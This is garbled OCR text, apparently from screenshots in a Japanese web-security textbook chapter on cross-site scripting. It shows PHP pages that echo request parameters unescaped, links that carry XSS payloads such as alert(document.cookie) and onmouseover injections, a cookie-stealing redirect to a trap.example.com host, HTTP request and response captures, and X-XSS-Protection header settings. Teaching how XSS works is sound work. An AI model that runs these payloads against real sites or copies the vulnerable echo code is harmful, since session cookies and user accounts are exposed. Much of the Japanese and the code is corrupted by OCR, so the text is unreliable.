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<body onload="init(XXXX") ; ">
<form . ..>

<input name="tel” value="03-123-5678">
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</form>
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document.write( 'JHON' ) ;
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header('Content-Type: text/html; charset=UTF-8’);
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X-XSS-Protection: 1; mode=block
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Header always set X-XSS-Protection “1; mode=block”
nginxDERTE T HIHE (. conf.d/default.conf [CLITFERET S
add_header X-XSS-Protection: 1; mode=block;
@ Y¥—(THttpOnlyMiEZE 593 (JavaSoript M oD Iy F—D B H LERIE)
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c (i) view-source:http:/fexample.jp/43/ aee hd
<html>
<head><title>d.3 FTTIIE(ZHE DFEIREC/ L it le></head>
<body> ~
4.3 FTAERCPE DR
<ul>
Ni>ZOZTA b= RZUTF o8 (EFRE <li>
<ol> i

<li><a href={43-001. phe?kevword-Hake| | p43-001 EEFR A iy

<li><a href="43-007. phptkeyword=2 [t scriptfet talert (documert . cookield |t : Ascriptfet : >43-001 : HSSHEEC/a></ | i>
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<br>

<a href="phpinfo.phe">php infod/a><br>

<a href="/"hH—LIZES 2>

</body>

<html>
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k2php

session_start();
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<body>
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TE VTR t GET http://example.jp/43/43-001.phpPkeyword=Haskell HTTP/1.1 HTTP/1.1 200 OK
BEILFFAL User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Server: nginx/1.10.3
v @y Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/*;9=0.8 Date: Tue, 18 Dec 2018 08:35:19 GMT

Accept-Language: ja,en-US;q=0.7,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://example.jp/43/

DNT: 1

Connection: keep-alive
Upgrade-Insecure-Requests: 1

Host: example.jp

» || o http://example.j

EIS Al

Content-Type: text/html; charset=UTF-8

Cennection: keep-alive

X-Powered-By: PHP/5.3.3

Expires: Thu, 19 Nov 1881 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set-Cookie: PHPSESSID=rile7ctuhtu31c4bd80rdlj9a2; path=/
X-UA-Compatible: IE=edge

<body=

BEF—TJ— FiHaskell<BR>
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<« Cc @ @ example,jp/43/43-001.php?keyword=Haskell c @
<body>

18+ — T — F:Haskell
AT LT
</body>

#Ege — T — F:Haskel [<BR>

@ view-source:http://example,jp/43/43-001.php?keyword=Haskell
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k2php
session_start();
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2>
<body>
1EF+—7 — F:<?php echo $_GET[ keyword']; ?><BR>
LiTEg
</body>

c @ (@ view-source:http:/fexamplejp/43/ wee pd
<html>
<head><titlerd.3 FTThMIBIZ1E 3FERE L it ler</head>
<body>
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<ul>
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<ol>»
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<li*<a href="http://t rap. exame le. com/43,/43-902 . him | >43-902: 38 0 T BR </ i>
<li*<a href="43-003. phetp=al i cellexamp |e. ip™>43-002: S IR TEIE AL BHBE(EEF) a1

<lir<a href="43-003. php?p=1+ormousecverkddalert (document . cook ie) "»43-003: 3 | TEIF AL BB a1 i>
<li*<a href="43-004.phptp=al i cellexamp|e. ip >43-004: S IR TH -1 BIHE(ERER) a1 i

<lir<a href="43-004.php?p="+ormouseoveritdd alert (document . cook ie) ">43-004: 3 |ARF THE - o BIFEKSS) <ax</ 1>
<ol>
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T @B~ HTTP/1.1 e e Date: Tue, 18 Dec 2018 08:46:07 GMT
» | hitp://example.j User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type: text/html; charset=UTF-8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;9=0.8 Content-Length: 91
Aocept-Language: ja,en-US;q=0.7,en;q=0.3 Connection: keep-alive
|| Accept-Enceding: gzip, deflate || X-Powered-By: PHP/5.3.3
: Referer: http://example.jp/43/ I Expires: Thu, 19 Nov 1981 08:52:00 GMT
DNT: 1 Cache-Centrol: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: keep-alive Pragma: no-cache
Cookie: PHPSESSID=rile7ctuhtu31c4bd8ordlj9a2 Vary: Accept-Enceding
Upgrade-Insecure-Requests: 1 ¥-UA-Compatible: IE=edge
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</body>
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OEY/DEE window.location =’ http://trap.example.com/43/43-901.php ? sid =" %2B document.cookiz, @BEJITRL
trap.example.com/43/43-900.htm ~ @B ESEL AR
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2. 43-001:XSSIYEE AirZORYA b 27 UTF w8 EFER i
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9. 43-004: 3BT CE S ERMEXSS) <lir<a href="43-003. phe?p= 1+ormousecve riddalert (document . cook ie) "»43-003: 3 |AE TEE L BIH@EESS) /a1 i>

<li><a href="43-004.php?p-al icellexample. ip >43-004: 5 |AFF TH - - BIHBE(EFEF) axd/ i
<li*<a href="43-004.phe?p="+ormouseove ridd alert (document . cook [ e) " >43-004: 5| AR TH - F- BB (RS3)</ax</ 1 i>
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LS Y|

GET http://trap.example.com/43/43-900.htm| HTTR/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/
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v S oL FFA
@ BEEaTFA
vy @Bk 20100101 Firefox/64.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q9=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://example.jp/43/

DNT: 1

Connection: keep-alive

HTTP/1.1 200 OK

Server: nginx/1.10.3

Date: Tue, 18 Dec 2018 09:03:22 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 238

Connection: keep-alive

Last-Medified: Men, 14 May 2018 13:08:18 GMT
 |ETag: "ee-56c2a2df039fe-gzip”
Accept-Ranges: bytes

Vary: Accept-Enceding

X-UA-Compatible: [E=edge

«htm|>«body=>
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vy @y Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;9=0.8 Date: Tue, 18 Dec 2018 09:03:22 GMT
Content-Type: text/html; charset=UTF-8

Accept-Language: ja,en-US;g=0.7,en;q=0.3
Accept-Enceding: gzip, deflate

Connection: keep-alive
X-Powered-By: PHP/5.3.3
X-UA-Compatible: IE=edge
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Upgrade-Insecure-Requests: 1
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<HTML>
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<BODY>
<FORM action="" METHOD=POST>
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<body>
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K B<INPUT size="28" name="name” value="<?php echo @$_POST[ name’]; ?>"><BR>
= FT<INPUT size="28" name="addr" value="<?php echo @%_POST['addr']; 2>"><BR>
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|<!DDCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.81 Transitional//EN">»
<HTML>

<HEAD><TITLE>OOTMAEAR T T Z{T4 ¥ 4 —¢/TITLE></HEAD>
<BODY>
<FORM action="" METHOD=POST>

K H<INPUT size="20" name="name" value="<?php echo @$_POST['name’]; 2?>"><BR>
= FT<INPUT size="28" name="addr" value="<?php echo @$_POST[ addr']; ?>"><BR>
EEE S<INPUT size="208" name="tel" value="<?php echo @%_POST['tel']; ?>"><BR>
= E<INPUT size="18" name="kind" wvalue="<?php echo @$_POST[ 'kind']; 2»">

L E<INPUT size="5" name="num" value="<?php echo @_POST[ 'num']; ?>"><BR>
<input type=submit value="F1A"></FORM>
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 nv:64.0) Gecko/20100101 Firefox/64.0 Content-Type: text/html; charset=UTF-8
Accept: text/html,application/xhtml+xml,application/ | |Content-Length: 1168
xml;q=0.9,%/%;q=0.8 Connection: keep-alive
Accept-Language: ja,en-US;q=0.7,en;9=0.3 Last-Modified: Mon, 14 May 2018 13:08:18 GMT
Accept-Encoding: gzip, deflate ETag: "490-56c2a2df0881f-gzip”
Referer: http://example.jp/43/ Accept-Ranges: bytes
DNT: 1 Vary: Accept-Encoding
Connection: keep-alive X-UA-Compatible: IE=edge
||Upgrade-Insecure-Requests: 1 Il
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<body>
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FEEIVTFL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Server: nginx/1.10.3

@ BT Accept: text/html application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Date: Tue, 18 Dec 2018 13:16:42 GMT
Accept-Language: ja,en-US;q=0.7,en;q=0.3 Content-Type: text/html; charset=UTF-8
Accept-Enceding: gzip, deflate Content-Length: 1079
Referer: http://trap.example.com/43/43-902.html Connection: keep-alive
Content-Type: application/x-www-ferm-urlenceded X-Powered-By: PHP/5.3.3 JTDFORMIZ EM S E
Content-Length: 1129 Vary: Accept-Encoding
DNT: 1 X-UA-Compatible: IE=edge
Connection: keep-alive
Cookie: PHPSESSID=rile7ctuhtu3lc4bd8ord|j9az

1|Upgrade-Insecure-Requests: 1

Host: example.jp
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200 OK
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M $X': POST http://trap.example.com/43/43-003.php HTTP/1.1 HTTP/1.1 200 OK LA\
EREIXTFAL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Server: nginx/1.10.3
» @B Firefox/64.0 Date: Tue, 18 Dec 2018 13:41:04 GMT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;9=0.8 Content-Type: text/html; charset=UTF-8
Accept-Language: ja.en-US;q=0.7,en;q=0.3 Content-Length: 433
Accept-Encoding: gzip, deflate Connection: keep-alive
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